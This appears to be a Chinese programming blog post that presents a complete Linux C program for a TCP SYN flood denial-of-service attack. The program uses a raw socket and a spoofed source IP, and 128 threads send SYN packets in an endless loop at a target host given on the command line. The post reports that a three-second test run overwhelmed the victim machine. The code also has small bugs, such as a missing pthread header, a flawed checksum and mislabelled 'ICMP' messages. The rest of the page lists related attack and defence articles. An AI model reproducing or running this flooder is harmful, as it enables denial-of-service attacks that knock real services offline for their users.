Linux C语言实现SYN包泛洪攻击

TCP泛洪攻击原理与防御:从SYN Flood到DDoS防护实战 TCP协议作为互联网通信的基石,其面向连接的特性通过三次握手机制确保可靠性,但这也为网络攻击提供了可乘之机。攻击者利用TCP协议的资源消耗原理,通过伪造大量连接请求耗尽服务器资源,导致服务拒绝。这种攻击方式在网络安全领域具有重要研究价值,尤其在DDoS攻击防御中至关重要。理解TCP泛洪攻击机制有助于构建更健壮的网络架构,提升系统抗压能力。在Kali Linux实验环境中,我们可以安全地模拟SYN Flood等攻击变种,通过工具实践深入掌握攻击特征。同时,从防御角度出发,结合系统内核调优、防火墙策略和架构设计 阅读详情

TCP SYN泛洪发生在OSI第四层,这种方式利用TCP协议的特性,就是三次握手。攻击者发送TCP SYN,SYN是TCP三次握手中的第一个数据包,而当服务器返回ACK后,该攻击者就不对其进行再确认,那这个TCP连接就处于挂起状态,也就是所谓的半连接状态,服务器收不到再确认的话,还会重复发送ACK给攻击者。这样更加会浪费服务器的资源。攻击者就对服务器发送非常大量的这种TCP连接,由于每一个都没法完成三次握手,所以在服务器上,这些TCP连接会因为挂起状态而消耗CPU和内存,最后服务器可能死机,就无法为正常用户提供服务了。

C语言代码如下:

/******************************************************************************
             Copyright (C), 2018-2019,  xxx Co.xxx, Ltd.
 ******************************************************************************
    File Name     : Dos_tcp.c
    Version       : V1.0
    Author        : lijd
    Created       : 2018/12/07
    Description   : tcp方式Dos攻击编码实现
******************************************************************************/
#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

#define MAXCHILD			128
#define PROTO_NAME 			"tcp"
#define FAKE_IP 			"192.168.0.222"

static unsigned long dest = 0;
static unsigned short dest_port = 0;
static int PROTO_TCP = -1;
static int alive = -1;
int rawsock = 0;

typedef struct dosseg_t{
    struct ip iph;
    struct tcphdr tcph;
    unsigned char data[8192];
}DOSSEG_T;

//数据包校验
static unsigned short Dos_cksum(unsigned short *data, int length)
{
    register int left = length;
    register unsigned short *word = data;
    register int sum = 0;
    unsigned short ret = 0;
	
    while(left > 1)
    {
	sum += *word++;
	left -= 2;
    }
	
    if(left == 1)
    {
	*(unsigned char *)(&ret) = *(unsigned char *)word;
	sum += ret;
    }
	
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
	
    ret = ~sum;
    return (ret);
}

/* 随机生成攻击请求源端口 */
static inline long myrandom(int begin, int end)
{
    int gap = end - begin + 1;
    int ret = 0;
	
    srand((unsigned)time(0));
	
    ret = random()%gap + begin;
    return ret;
}

static void Dos_sig()
{
    alive = 0;
    printf("stop DoS Attack!\n");
}

/* 构造tcp的请求syn包 */
void DoS_tcp_pack(char* packet)
{
    char *buffer;
	
    struct ip* ip_hdr = (struct ip*)packet;
    struct tcphdr* tcp_hdr = (struct tcphdr*)(packet + sizeof(struct ip));

    //ip头赋值
    ip_hdr->ip_v = 4;
    ip_hdr->ip_hl = 5;
    ip_hdr->ip_tos = 0;
    ip_hdr->ip_len = htons(sizeof(struct ip) + sizeof(struct tcphdr));
    ip_hdr->ip_id = htons(getpid());
    ip_hdr->ip_off = 0;
    ip_hdr->ip_ttl = 64;
    ip_hdr->ip_p = PROTO_TCP;
    ip_hdr->ip_sum = 0;
    ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP);		//伪装源地址
    ip_hdr->ip_dst.s_addr = dest; 					//攻击的目的主机地址
    ip_hdr->ip_sum = Dos_cksum((unsigned short *)ip_hdr, (4*ip_hdr->ip_hl + sizeof(struct tcphdr) + 1) & ~1);

    //tcp赋值
    tcp_hdr->seq = htonl((unsigned long)myrandom(0, 65535));
    tcp_hdr->ack_seq = htons(myrandom(0, 65535));
    tcp_hdr->syn = 1;
    tcp_hdr->urg = 1;
    tcp_hdr->window = htons(myrandom(0, 65535));
    tcp_hdr->check = 0;
    tcp_hdr->urg_ptr = htons(myrandom(0, 65535));
    tcp_hdr->check = Dos_cksum((unsigned short *)tcp_hdr, (sizeof(struct ip) + sizeof(struct tcphdr) + 1) & ~1);
}

void Dos_Attack()
{
    DOSSEG_T packet;
    struct sockaddr_in to;
    DoS_tcp_pack((char *)&packet);

    to.sin_family = AF_INET;
    to.sin_addr.s_addr = dest;
    to.sin_port = htons(0);

    while(alive)  //控制发包的全局变量
    {
        sendto(rawsock, &packet, 4*packet.iph.ip_hl + sizeof(struct tcphdr), 0, (struct sockaddr*)&to, sizeof(struct sockaddr));
    }
}

int main(int argc, char* argv[]) 
{ 
    struct hostent* host = NULL; 
    struct protoent* protocol = NULL; 
    int i = 0, err = -1; 
    pthread_t attack_thread[MAXCHILD];

    /* 创建停止信号接收函数 */
    alive = 1; 
    signal(SIGINT, Dos_sig);
	
    if(argc < 3) 
    { 
	printf("-------------Invalid input---------------!\n");
	return -1;
    }
	
    protocol = getprotobyname(PROTO_NAME);
    if(protocol == NULL) 
    { 
	printf("Fail to getprotobyname!\n");
	return -1;
    } 
	
    PROTO_TCP = protocol->p_proto;
	
    //参数1:攻击目的IP   参数2:攻击的目的Port
    dest = inet_addr(argv[1]);
    dest_port = atoi(argv[2]);
	
    if(dest == INADDR_NONE) 
    { 
	host = gethostbyname(argv[1]);
	if(host == NULL) 
	{ 
	    printf("Invalid IP or Domain name!\n");
	    return -1;
	} 
		
	memcpy((char *)&dest, host->h_addr, host->h_length);	
    }
	
    //创建原始套接字
    rawsock = socket(AF_INET, SOCK_RAW, PROTO_TCP);
	
    if(rawsock < 0) 
    { 
	printf("Fait to create socket!\n");
	return -1;
    } 
	
    //设置IP选项
    setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL, "1", sizeof("1"));
	
    printf("ICMP FLOOD ATTACK START\n");

    for(i = 0; i < MAXCHILD; i++) 
    { 
	err = pthread_create(&(attack_thread[i]), NULL, (void*)Dos_Attack, NULL);
	if(err) 
	{ 
	    printf("Fail to create thread, err %d, thread id : %d\n",err, attack_thread[i]);
	} 
    } 
	
    for(i = 0; i < MAXCHILD; i++) 
    { 
	pthread_join(attack_thread[i], NULL);
	//等待线程结束 
    } 
	
    printf("ICMP ATTACK FINISHI!\n");
    close(rawsock);
	
    return 0;
}

由以上代码中将攻击源IP伪装设置为:192.168.0.222,实际攻击主机为:10.0.13.111。攻击的目的主机为:10.0.13.222。尝试攻击时间仅仅3秒钟,被攻击端的Wirshark攻击已经卡死。等待一会恢复后可查攻击数据包高达62万之多,可想而知,如果长时间被攻击服务器处于这种状态肯定会沦陷。攻击截图如下。

SYN泛洪攻击原理深度解析与实战防御指南 TCP三次握手是网络通信的基石协议,它通过客户端与服务器之间的SYN、SYN-ACK、ACK报文交换,建立可靠的双向连接。然而,其设计中的半开连接队列机制存在固有缺陷,攻击者可利用IP地址伪造技术,发送海量SYN报文耗尽队列资源,导致服务拒绝,这便是SYN泛洪攻击的核心原理。这种资源耗尽型攻击成本低但破坏力强,其技术价值在于深刻揭示了网络协议栈在可用性与安全性之间的平衡挑战。在应用场景上,任何基于TCP的服务(如HTTP、HTTPS、API接口)都可能成为目标。本文从实战出发,深入探讨了SYN泛洪的完整攻击 阅读详情

相关推荐

Kali Linux进行SYN Flood攻击

SYN Flood利用TCP协议缺陷,它透过一定的操作破坏TCP三次握手建立正常连接,占用并耗费系统资源,使得被攻击方资源耗尽,无法及时回应或处理正常的服务请求。一个正常的TCP连接需要三次握手:首先客户端发送一个包含SYN标志的数据包,表明客户机请求与服务器进行信息的交互。其后服务器返回一个SYN/ACK的应答包,表示客户端的请求被接受。最后客户端再返回一个确认包ACK,这样才完成TCP连接。那么,在这个过程中是如何发生SYN Flood攻击呢?

及时清醒,事事如意 1627

伪造IP地址进行SYN洪水攻击

在写代码之前我们需要现来理解下TCP/IP的三次握手以及TCP/IP的包头信息,由此我们可以了解SYN洪水攻击的原理。 1.TCP/IP三次握手及SYN攻击原理 TCP是主机对主机层的传输控制协议,提供可靠的连接服务,采用三次握手确认建立一个连接: 位码即tcp标志位,有6种标示:SYN(synchronous建立联机) ACK(acknowledgement 确认) PS...

HAHAHAHA1314521的博客 1660

Kali Linux实战:从DoS攻击模拟到防御策略的攻防演练

拒绝服务攻击是网络安全领域的核心威胁之一,其原理是通过耗尽目标系统的资源来阻断合法服务。从技术实现看,DoS攻击主要分为网络层泛洪攻击和应用层慢速攻击两种类型,前者如SYN Flood利用协议漏洞消耗连接资源,后者如Slowloris通过保持大量半开连接耗尽服务器并发处理能力。理解这些攻击原理对于构建有效防御体系至关重要,能够帮助工程师设计更精准的流量监控规则和资源保护策略。在工程实践中,安全人员常使用Kali Linux中的Hping3工具模拟泛洪攻击,同时利用Slowloris测试应用层防护能力,通过这

weixin_34032792的博客 397

syn flood 攻击 c 语言源代码,利用Python和C实现syn flood攻击

pythonpythonpythonpythonpythonpythonpythonpythonpython俗话说,知己知彼,百战不殆。学习攻击代码的编写逻辑,反向实现防攻是每一个运维工程师所要学习的。了解SYN/ACK Flood 攻击这种攻击方法是经典最有效的 DDOS 方法, 可通杀各种系统的网络服务, 主要是通过向受害主机发送大量伪造源 IP 和源端口的 S...

weixin_39620653的博客 1259

MAC地址泛洪攻击实战:用macof与Wireshark解析二层网络安全隐患

在计算机网络中,二层交换机的MAC地址表是其高效转发数据帧的核心。它通过记录MAC地址与端口的映射关系,实现精准的单播转发。然而,其有限的CAM(内容可寻址存储器)空间构成了潜在的安全弱点。攻击者利用这一原理,通过伪造海量随机源MAC地址的数据帧,可以迅速填满交换机的MAC地址表,导致其从高效的查表转发模式退化为低效的广播泛洪模式。这种攻击不仅会引发网络拥塞和性能下降,更关键的是为中间人攻击和流量嗅探创造了条件,严重威胁网络数据的机密性。在网络安全评估与渗透测试中,理解并复现此类攻击是评估网络健壮性的重要环

weixin_30482181的博客 568

RP2040嵌入式设备网络泛洪攻击防护实战:从lwIP配置到应用层加固

网络泛洪攻击通过发送海量数据包耗尽目标系统资源,是常见的网络层拒绝服务攻击形式。其原理是利用TCP/IP协议栈的资源分配机制,通过伪造或高频请求快速占满连接队列、内存缓冲区与CPU处理能力。对于嵌入式物联网设备而言,这类攻击的防护具有极高的技术价值,直接关系到设备在复杂网络环境下的服务可用性与可靠性。在智能家居、工业传感等应用场景中,资源受限的微控制器如RP2040,其有限的SRAM与单核处理能力在面对SYN Flood、UDP Flood等攻击时尤为脆弱。本文聚焦于RP2040平台,深入探讨如何通过系统化

weixin_30420305的博客 359

分别用netwox、scapy、C语言编写的程序进行TCP SYN-Flooding攻击

使用Linux环境进行TCP Syn-flooding攻击实验

m0_56222998的博客 496

TCP DDoS攻防实战:从SYN Flood到慢速攻击的防御策略

TCP协议作为互联网可靠传输的基石,其面向连接的特性在保障通信质量的同时,也带来了潜在的安全风险。攻击者利用TCP三次握手、连接维持等机制,可以发起SYN Flood、慢速连接耗尽等攻击,这些攻击往往流量小但破坏力强,旨在消耗服务器连接资源与处理能力。理解这些攻击原理对于构建健壮的网络服务至关重要。通过调整内核参数(如tcp_max_syn_backlog、tcp_syncookies)、配置防火墙规则(如使用iptables进行连接数限制)以及优化应用层设置(如Nginx的请求速率控制),可以构建从系统底

weixin_34208185的博客 417

syn flood 攻击 c 语言源代码,以太网模拟syn flood攻击

以太网模拟synflood攻击(2012-06-08 00:55:49)标签:以太网杂谈以太网模拟syn flood攻击最近在网上找了一些模拟synflood攻击的c语言源代码,顺便写了下文,把最近找的资料作了个总结,也加了些自己的改动。本文面向初学者(比如俺:),希望能为初学者提供方便,也希望高手们多提意见!下文描述局域网内syn flood攻击的方法,原理请到网上找吧,应该到处都有。1。测试...

weixin_34462581的博客 723

SynFlood--Ddos洪泛攻击(linux c)

首先,synflood攻击是一中拒绝服务攻击,它算得上是最常见的一中dos拒绝服务攻击攻击手段。原理在上一篇中也有提到过,就是在短时间内向目标主机发送洪水般的syn请求,大家都知道tcp是面向连接的协议,若正常通过三次握手过程,则连接就建立了,但是恶意攻击者会刻意伪造ip地址,使得受攻击的主机得不到最后一次握手,只能不断的为到来的syn分配内存,发送syn+ack,就这样一直等不到第三次握手的ac

xyang 5252

synflood 攻击 C语言文件 源码 原始套接字

synflood源码,C语言实现原始套接字可以直接编译,执行./synflood ip

SYN泛洪攻击防御实战:从TCP原理到Linux/Windows系统加固

TCP三次握手是网络通信的基石,它通过客户端与服务器之间的SYN、SYN-ACK、ACK包交换来建立可靠连接。然而,攻击者利用协议特性,通过发送大量伪造源IP的SYN包但不回复ACK,使服务器维护大量‘半开连接’并耗尽系统资源,导致服务拒绝,这就是SYN泛洪攻击。其技术价值在于揭示了协议安全与资源管理之间的平衡挑战。在应用场景上,无论是Web服务器、API服务还是云主机,只要暴露于公网都可能面临此类威胁。针对SYN泛洪,核心防御机制包括启用SYN Cookies实现无状态验证、调整半连接队列大小,并结合ip

cumo3681的博客 841

在win10-wsl2(ubuntu)中安装jlink

在 官方下载linux版本的deb包拷贝到ubuntu的/home目录下(其他目录也可以),进行安装然后提示很多依赖缺失的错误,此时执行自动安装需要的依赖包再次重新安装就可以啦查看是否安装成功,输入JLink 再按下两次Table键,是否如下所示这样表示安装成功了。

yaq_30401的博客 3135

Linux C/C++ 学习日记(43):dpdk(六):dpdk实现发包工具:UDP的发包,TCP的泛洪攻击

本文主要记录了网络发包测试和TCP泛洪攻击实验过程。首先介绍了在Windows和Ubuntu系统下查看网卡MAC地址的方法。随后详细说明了使用DPDK工具发送UDP数据包的参数配置,包括CPU核心、内存通道、源/目的IP和端口等设置,并给出了成功发送10个UDP包的示例命令。最后通过发送20万个SYN包模拟TCP泛洪攻击,观察到服务器能正确处理SYN+ACK重传和超时连接清理,验证了其具备抗洪机制。实验涉及IP配置、UDP发包和TCP攻击防御等网络技术。

2302_79943247的博客 574

USB 3.0 高清音视频采集芯片——MS2130

MS2130 是一款 USB 3.0 高清视频和音频采集芯片,内部集成 USB3.0 Device 控制器、数据收发模块、音视频处理模块。

YOU_SeMi的博客 7858

10-142 6-4 查询厂商“D“生产的PC和便携式电脑的平均价格

分数 10全屏浏览题目切换布局作者 lhm单位 河北农业大学本题目要求编写SQL语句,查询厂商D生产的PC和便携式电脑的平均价格。

dqd66的博客 2748

python攻击脚本开发之常用泛洪攻击

本篇文章主要讲解python攻击脚本开发之常用泛洪攻击

没有网络安全就没有国家安全 1788

Rk3128投影仪救砖操作和固件分享思路

大家搞一条比较硬的东西,插入耳机口,就可以进入刷机模式了的,我的机器是这样的,大家也可以试试。(看不懂可以往下看)

MMX7088的博客 1万+

原始套接字的使用之编程实现DoS(拒绝服务)攻击程序

0x00 原理 SYN泛洪攻击(SYN Flood)是当前最流行的DoS与DDoS的方式之一,这是由于TCP协议的缺陷造成的。攻击者通过发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或者内存不足)的攻击方式。 首先要先了解正常情况下的TCP连接建立过程。 (1)客户端发送一个Flag为SYN的TCP报文,并设置一个seq序列号x。 (2)服务器接收到了

Exploit的小站~ 2738

simulink调用C代码函数-C Caller模块

simulink中如何调用写好的C代码函数?使用C Caller模块调用C代码。

weixin_40531919的博客 5668

超大规模系统(千万级用户)中实现字段级权限控制

摘要:本文提出了一套分布式架构下的字段级权限优化方案,结合RBAC+ABAC混合模型与技术手段实现性能与安全的平衡。方案包括:1)权限模型优化,采用RBAC预计算基础权限与ABAC动态校验敏感字段;2)数据层优化,实现动态字段过滤与加密存储;3)多级缓存策略与预计算机制提升性能;4)分布式架构设计,通过网关校验和策略引擎集群保证扩展性。最终在千万级用户系统中实现99.9%可用性,权限校验延迟控制在50ms以内。

从技术实践立足,从项目管理方法论延伸思考 1348

腾讯 PCG 一二三面

讲一下项目 对WebSocket了解多少 浏览器要向一个客户端WebSocket连接,需要经过哪些协议和报文 对 Tomcat 了解多吗 了解 Tomcat 任务部署吗 Tomcat有没有配置过请求日志 什么log??? 更新JSP后不用重启Tomcat就能生效,是怎么实现的 Linux进程与线程 和 Java 中 的进程与线程有什么区别 讲一下HashMap 红黑树,要知道是左节点还是右节点是...

weixin_41750142的博客 1319

DeepCAD: 使用深度自监督学习技术在Python中进行钙成像去噪的全面指南

钙成像是一种用于观察神经活动的技术,通过检测细胞内钙离子的变化来推断神经元的活动。由于其高时空分辨率和对活体组织的适应性,钙成像已经成为神经科学研究中的重要工具。然而,钙成像数据往往伴随着各种噪声,这些噪声可能来自于设备、生物样本或环境。为了获得准确的神经活动信息,去噪是非常关键的。深度自监督学习是一种使用未标记数据进行训练的机器学习方法。与传统的监督学习不同,它不需要大量的标记数据,而是通过学习数据的内部结构和模式来提取有用的特征。DeepCAD是一个基于深度自监督学习的钙成像去噪工具。

qq_38334677的博客 756

教程【 linux下C编程详解】

linux操作系统下 c语言编程入门 整理编写:007xiong 原文:Hoyt等 (一)目录介绍 1)Linux程序设计入门--基础知识 2)Linux程序设计入门--进程介绍 3)Linux程序设计入门--文件操作 4)Linux程序设计入门--时间概念 5)Linux程序设计入门--信号处理 6)Linux程序设计入门--消息管理 7)Linux程序设计入门

咔嚓咔嚓咔嚓 1277

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

Kali Linux 网络扫描秘籍 第六章 拒绝服务(二)

第六章 拒绝服务(二) 作者:Justin Hutchens 译者:飞龙 协议:CC BY-NC-SA 4.0 6.6 NTP 放大 DoS 攻击NTP 放大 DoS 攻击利用响应远程 monlist 请求的网络时间协议(NTP)服务器。 monlist 函数返回与服务器交互的所有设备的列表,在某些情况下最多达 600 个列表。 攻击者可以伪造来自目标 IP 地址的请求,并且

龙哥盟 4万+

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

上一篇: C/C++项目日志通用接口整理
下一篇: Linux下Apache模块开发
码农诗人
博客等级 码龄11年 986粉丝 84原创
评论 8
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值